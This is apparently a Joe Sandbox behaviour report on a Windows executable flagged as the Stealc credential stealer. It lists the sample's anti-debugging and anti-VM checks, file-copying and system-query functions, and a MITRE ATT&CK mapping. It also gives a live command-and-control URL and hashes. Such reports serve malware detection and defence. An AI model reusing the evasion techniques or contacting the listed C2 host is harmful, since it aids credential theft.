Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119423C second address: 1194241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11943E2 second address: 1194416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBD38EF6177h 0x00000009 jmp 00007FBD38EF6179h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194416 second address: 1194441 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C783h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FBD3971C77Eh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11972C7 second address: 11972FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FBD38EF6179h 0x0000000d jns 00007FBD38EF6166h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 ja 00007FBD38EF6166h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11972FC second address: 1197301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197301 second address: 119730B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBD38EF616Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119735A second address: 1197364 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197364 second address: 119736A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119736A second address: 1197395 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edx, ebx 0x0000000d push 00000004h 0x0000000f jc 00007FBD3971C77Ch 0x00000015 push 40F2DA42h 0x0000001a jp 00007FBD3971C780h 0x00000020 pushad 0x00000021 push esi 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11975FD second address: 1197603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197603 second address: 1197607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197607 second address: 1197621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jne 00007FBD38EF616Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197621 second address: 1197625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197625 second address: 1197650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edx, dword ptr [ebp+122D37E6h] 0x0000000e mov dword ptr [ebp+122D28B8h], ebx 0x00000014 push dword ptr [ebp+122D1C45h] 0x0000001a mov edx, ecx 0x0000001c call 00007FBD38EF6169h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197650 second address: 119765A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119765A second address: 119765F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BF80 second address: 119BF8D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BF8D second address: 119BF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBD38EF616Bh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BF9F second address: 119BFA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BFA5 second address: 119BFAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800315 second address: 5800319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800319 second address: 580036C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FBD38EF6175h 0x0000000f xor esi, 4AD1E496h 0x00000015 jmp 00007FBD38EF6171h 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FBD38EF6178h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580036C second address: 5800394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBD3971C785h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800394 second address: 58003A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBD38EF616Ch 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F119BD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F11ABC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10D7F31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 113F6A3 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00CC38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CC4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CBDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00CBE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00CC4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00CBED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CB16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00CC3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CBF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CBBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CBDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB1160 GetSystemInfo,ExitProcess,

0_2_00CB1160

Source: file.exe, file.exe, 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1706114024.00000000018F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO[dc
Source: file.exe, 00000000.00000002.1706114024.00000000018C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1706114024.00000000018F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13567
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13552
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13555
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13572
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13607

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00CB45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00CC9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC9750 mov eax, dword ptr fs:[00000030h]

0_2_00CC9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00CC78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2004, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00CC9600

Source: file.exe, file.exe, 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00CC7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00CC7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00CC7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CC7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00CC7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1664387616.0000000005670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2004, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1664387616.0000000005670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2004, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php4&ne	file.exe, 00000000.00000002.1706114024.00000000018C4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37eE	file.exe, 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.373h	file.exe, 00000000.00000002.1706114024.00000000018D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpd&	file.exe, 00000000.00000002.1706114024.00000000018C4000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531318
Start date and time:	2024-10-11 01:49:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947124524590918
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'825'280 bytes
MD5:	9c7193e94b13d7380dccc18b19a95158
SHA1:	4d69fe7afa38cf9fa65fd5acd25e66bc6ad230b4
SHA256:	480374d99e5a098171a92a8b09b3a6fb5a43c216e21d328e6c17d87b5d12c2f0
SHA512:	d977e3e34f8836febbba2075eab4ca09039544c30faba66c72feb97cbdece7ccbebd63e1b5e2163719039fe3cc7eb22c61252d45e1288e6fca9788eb18256162
SSDEEP:	49152:o5vJL1QxKSx27FwopjOCKGZn8UDIyWEz5:eXvS+ljO1GFsyFz
TLSH:	1C85330F9E577EA0D84E1537DCDBD34B5B38A84C82EB31A514483EE8A16F530B0B7969
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa8e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBD38CF167Ah
popcnt ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	4d8b91750a0393e1e0bc60a35c8b5edd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
